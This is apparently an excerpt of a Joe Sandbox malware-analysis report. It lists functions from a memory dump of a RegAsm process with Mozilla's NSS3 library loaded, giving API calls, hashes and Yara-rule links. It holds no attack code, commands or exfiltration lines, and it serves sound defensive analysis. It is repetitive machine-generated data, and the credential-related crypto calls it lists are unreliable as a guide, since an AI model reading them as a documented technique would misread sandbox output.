free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BFE6AE9

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: 6d3a459eb1e4f3a56b564711046b9d648e40128d4477aba6933b7831a12f5c8a
Instruction ID: 5e1ff3b67da0838e05c04126207313e681740a1175eeb68fcfc32f443d564102
Opcode Fuzzy Hash: 6d3a459eb1e4f3a56b564711046b9d648e40128d4477aba6933b7831a12f5c8a
Instruction Fuzzy Hash: E9417376A00605BBEB109F24EC45BAB77E9BF44754F048438F95D87250EF39E91287A1

Function 6C0389A0 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3 ref: 6C0389DF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C0389EA
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C038A04

Part of subcall function 6C03BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C03800A,00000000,?,00000000,?), ref: 6C03BC3F

PK11_PBEKeyGen.NSS3(00000000,?,?,00000000,?), ref: 6C038A47
PK11_GetInternalKeySlot.NSS3 ref: 6C038A7E
PK11_PBEKeyGen.NSS3(00000000,?,00000000,00000000,?), ref: 6C038A96

Part of subcall function 6C01F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C01F854
Part of subcall function 6C01F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C01F868
Part of subcall function 6C01F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C01F882
Part of subcall function 6C01F820: free.MOZGLUE(04C483FF,?,?), ref: 6C01F889
Part of subcall function 6C01F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C01F8A4
Part of subcall function 6C01F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C01F8AB
Part of subcall function 6C01F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C01F8C9
Part of subcall function 6C01F820: free.MOZGLUE(280F10EC,?,?), ref: 6C01F8D0

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C038AD4

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$K11_Util$CriticalDeleteItem_Section$CopyInternalSlot$AlgorithmTag_Zfree
String ID:
API String ID: 3389286309-0
Opcode ID: 3bac51999034e52a4157adeee578be920705aa2948236e959e7ac56fdf684654
Instruction ID: ec5f762b4dab0b6e32240517de91dadf4352665c2ea45c3b32a57b5a6658d2dc
Opcode Fuzzy Hash: 3bac51999034e52a4157adeee578be920705aa2948236e959e7ac56fdf684654
Instruction Fuzzy Hash: 4841E4756046117BE7019B55DC41B6B76E8EB44718F044167FD1CCBA42E732E918C7E2

Function 6C01AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C01AB3E,?,?,?), ref: 6C01AC35

Part of subcall function 6BFFCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6BFFCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C01AB3E,?,?,?), ref: 6C01AC55

Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C0310F3
Part of subcall function 6C0310C0: EnterCriticalSection.KERNEL32(?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03110C
Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031141
Part of subcall function 6C0310C0: PR_Unlock.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031182
Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C01AB3E,?,?), ref: 6C01AC70

Part of subcall function 6BFFE300: TlsGetValue.KERNEL32 ref: 6BFFE33C
Part of subcall function 6BFFE300: EnterCriticalSection.KERNEL32(?), ref: 6BFFE350
Part of subcall function 6BFFE300: PR_Unlock.NSS3(?), ref: 6BFFE5BC
Part of subcall function 6BFFE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6BFFE5CA
Part of subcall function 6BFFE300: TlsGetValue.KERNEL32 ref: 6BFFE5F2
Part of subcall function 6BFFE300: EnterCriticalSection.KERNEL32(?), ref: 6BFFE606
Part of subcall function 6BFFE300: PORT_Alloc_Util.NSS3(?), ref: 6BFFE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C01AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C01AB3E), ref: 6C01ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C01AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C01AD2B

Part of subcall function 6BFFF360: TlsGetValue.KERNEL32(00000000,?,6C01A904,?), ref: 6BFFF38B
Part of subcall function 6BFFF360: EnterCriticalSection.KERNEL32(?,?,?,6C01A904,?), ref: 6BFFF3A0
Part of subcall function 6BFFF360: PR_Unlock.NSS3(?,?,?,?,6C01A904,?), ref: 6BFFF3D3

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: fb9f2a2fb9de340f12b7d451fc2dbbb20ad41c7c52c236a99b5c9523b9e8da37
Instruction ID: 00100b3344715f469c8fc22af13ca09bbab3aabffb0e4431f5ac056f477e3a2e
Opcode Fuzzy Hash: fb9f2a2fb9de340f12b7d451fc2dbbb20ad41c7c52c236a99b5c9523b9e8da37
Instruction Fuzzy Hash: 14311DB1E046165FEB008FA5DC416AFB7E6AF84728F298138E81957B40E731ED1587A1

Function 6BFD2920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6BFD294E

Part of subcall function 6C031820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6BFD1D97,?,?), ref: 6C031836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6BFD296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6BFD2991

Part of subcall function 6C031820: PR_SetError.NSS3(FFFFE005,00000000,?,6BFD1D97,?,?), ref: 6C03184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6BFD29AF
PR_Now.NSS3 ref: 6BFD2A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BFD2A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BFD2A79

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: efcae76040059c743a49929f72709acc824ac7a8e465123bc1cc9cf9648dcf92
Instruction ID: ceb41aff28d7b4c72faf048981f91a17f303d3bcc5e4cadd8b17525ad1a05b32
Opcode Fuzzy Hash: efcae76040059c743a49929f72709acc824ac7a8e465123bc1cc9cf9648dcf92
Instruction Fuzzy Hash: 7E418D72A083119FC714CF28C840A4FB7E9EBD8754F48992DF89893350E735E90A8BD2

Function 6BFF2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6BFEE728,?,00000038,?,?,00000000), ref: 6BFF2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BFF2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BFF2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6BFF2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6BFF2E9E
PR_Unlock.NSS3(?), ref: 6BFF2EAB
PR_Unlock.NSS3(?), ref: 6BFF2F0D

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 294c23d332a41444526b618436e2808510baf81122b638a66f7187201dd5b0d5
Instruction ID: 24387eee43367736a505c97abde175a130d913cfe2aa64069197819b140eb6a4
Opcode Fuzzy Hash: 294c23d332a41444526b618436e2808510baf81122b638a66f7187201dd5b0d5
Instruction Fuzzy Hash: BA31D3BBA00546ABEB009F38DC41876B779EF45258B148164FD0887231EB36EDA2C7E1

Function 6C03CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C03CD93,?), ref: 6C03CEEE

Part of subcall function 6C0314C0: TlsGetValue.KERNEL32 ref: 6C0314E0
Part of subcall function 6C0314C0: EnterCriticalSection.KERNEL32 ref: 6C0314F5
Part of subcall function 6C0314C0: PR_Unlock.NSS3 ref: 6C03150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C03CD93,?), ref: 6C03CEFC

Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C0310F3
Part of subcall function 6C0310C0: EnterCriticalSection.KERNEL32(?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03110C
Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031141
Part of subcall function 6C0310C0: PR_Unlock.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031182
Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C03CD93,?), ref: 6C03CF0B

Part of subcall function 6C030840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C0308B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C03CD93,?), ref: 6C03CF1D

Part of subcall function 6C02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C028D2D,?,00000000,?), ref: 6C02FB85
Part of subcall function 6C02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C02FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C03CD93,?), ref: 6C03CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C03CD93,?), ref: 6C03CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C03CD93,?,?,?,?,?,?,?,?,?,?,?,6C03CD93,?), ref: 6C03CF78

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: bb34ad25abf9b1f736770d7f7fb08a99a6a475c2b558d2400f7b71f9e4ebff92
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 0B11D2B5A002325BEB00AA666C41B6BB5EC9F4864DF005639EC0DD7741FB60E90886F1

Function 6C0E2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C0E2CA0
PR_ExitMonitor.NSS3 ref: 6C0E2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C0E2CD1
strdup.MOZGLUE(?), ref: 6C0E2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C0E2D27

Strings

Loaded library %s (static lib), xrefs: 6C0E2D22

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 8ec7132e25d388347570d40deeb282d3b1b1c5ab7184023076b81f99006447b2
Instruction ID: 8faf767db4b2e107a829a1a9483a01e30be7db82a002bcb5c12a28e80e92913c
Opcode Fuzzy Hash: 8ec7132e25d388347570d40deeb282d3b1b1c5ab7184023076b81f99006447b2
Instruction Fuzzy Hash: 0A110DB5780202DFEB208F65D849B6A77F4AB4A30CF14842DD80D87B01E775E849DBA2

Function 6C0EC9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6C061AB6,00000000,?,?,6C0607B9,?), ref: 6C0EC9C6
free.MOZGLUE(?,?,6C0607B9,?), ref: 6C0EC9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6C0EC9E5
free.MOZGLUE(?), ref: 6C0EC9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6C0EC9F8
free.MOZGLUE(?), ref: 6C0EC9FF
free.MOZGLUE(00000000), ref: 6C0ECA0B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: a1e800231c62583a8fc1a6cfeafcab3b0f8e665225258fd2848e702c7cc0c309
Instruction ID: 31b80464a2069a7ea9a2c0cd274a4ac26907c59676f0a5f72498cae896e8d223
Opcode Fuzzy Hash: a1e800231c62583a8fc1a6cfeafcab3b0f8e665225258fd2848e702c7cc0c309
Instruction Fuzzy Hash: E2012CBA600605AFEB00EFA4C849897B7F8FE492A13040525EA06C3600E739F495DBE1

Function 6C02A970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73de81eaf885e661073227de0317cca02b7790142f961754197a90c82e4e238f
Instruction ID: 487d2f175413d32a5bb6d4986aa7d2bf17c26a6011d74dc1c729910fd5a9857c
Opcode Fuzzy Hash: 73de81eaf885e661073227de0317cca02b7790142f961754197a90c82e4e238f
Instruction Fuzzy Hash: C1913D30D082684FCB258E1988913DEB7F59F4A31CF3485D9C59A9BA01DE3D9E85CB91

Function 6C072E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C073046

Part of subcall function 6C05EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C05EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C047FFB), ref: 6C07312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C073154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C072E8B

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

Part of subcall function 6C05F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C049BFF,?,00000000,00000000), ref: 6C05F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C047FFA), ref: 6C072EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C07317B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 00e603f868af5b23b6b5345f755146346835e939cc70331140f54ec31c9d3008
Instruction ID: 92ffd6bcbbd8d69dbfe22f9392254f4a715a9dc526bf838a5685342b5b7184dd
Opcode Fuzzy Hash: 00e603f868af5b23b6b5345f755146346835e939cc70331140f54ec31c9d3008
Instruction Fuzzy Hash: C0A1AE71A002289FDB24CF54CC84BEAB7B5EF49308F0481A9ED4967741E731AE95CFA5

Function 6C03ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C03ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C03EDCE

Part of subcall function 6C030BE0: malloc.MOZGLUE(6C028D2D,?,00000000,?), ref: 6C030BF8
Part of subcall function 6C030BE0: TlsGetValue.KERNEL32(6C028D2D,?,00000000,?), ref: 6C030C15

free.MOZGLUE(00000000,?,?,?,?,6C03B04F), ref: 6C03EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C03EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C03EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C03EEFB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 1aa6c18174d29d5e132ce7deb1f94d1bf7dee42a1d8a2aa2ea44b24a174a9c5b
Instruction ID: 63fbbed2bf60c5b95b1c411222158f21fa4c915c443d6f5a4a8f9e2f8f79e420
Opcode Fuzzy Hash: 1aa6c18174d29d5e132ce7deb1f94d1bf7dee42a1d8a2aa2ea44b24a174a9c5b
Instruction Fuzzy Hash: 9B817CB5A002169FEB14CF55DC80BAB77F5BF88308F144628E8299B791DB74EC14CBA1

Function 6C03CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C03C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C03DAE2,?), ref: 6C03C6C2

PR_Now.NSS3 ref: 6C03CD35

Part of subcall function 6C099DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C0E0A27), ref: 6C099DC6
Part of subcall function 6C099DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C0E0A27), ref: 6C099DD1
Part of subcall function 6C099DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C099DED

Part of subcall function 6C026C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6BFD1C6F,00000000,00000004,?,?), ref: 6C026C3F

PR_GetCurrentThread.NSS3 ref: 6C03CD54

Part of subcall function 6C099BF0: TlsGetValue.KERNEL32(?,?,?,6C0E0A75), ref: 6C099C07

Part of subcall function 6C027260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6BFD1CCC,00000000,00000000,?,?), ref: 6C02729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C03CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C03CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C03CE2C

Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C0310F3
Part of subcall function 6C0310C0: EnterCriticalSection.KERNEL32(?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03110C
Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031141
Part of subcall function 6C0310C0: PR_Unlock.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031182
Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C03CE40

Part of subcall function 6C0314C0: TlsGetValue.KERNEL32 ref: 6C0314E0
Part of subcall function 6C0314C0: EnterCriticalSection.KERNEL32 ref: 6C0314F5
Part of subcall function 6C0314C0: PR_Unlock.NSS3 ref: 6C03150D

Part of subcall function 6C03CEE0: PORT_ArenaMark_Util.NSS3(?,6C03CD93,?), ref: 6C03CEEE
Part of subcall function 6C03CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C03CD93,?), ref: 6C03CEFC
Part of subcall function 6C03CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C03CD93,?), ref: 6C03CF0B
Part of subcall function 6C03CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C03CD93,?), ref: 6C03CF1D

Part of subcall function 6C03CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C03CD93,?), ref: 6C03CF47
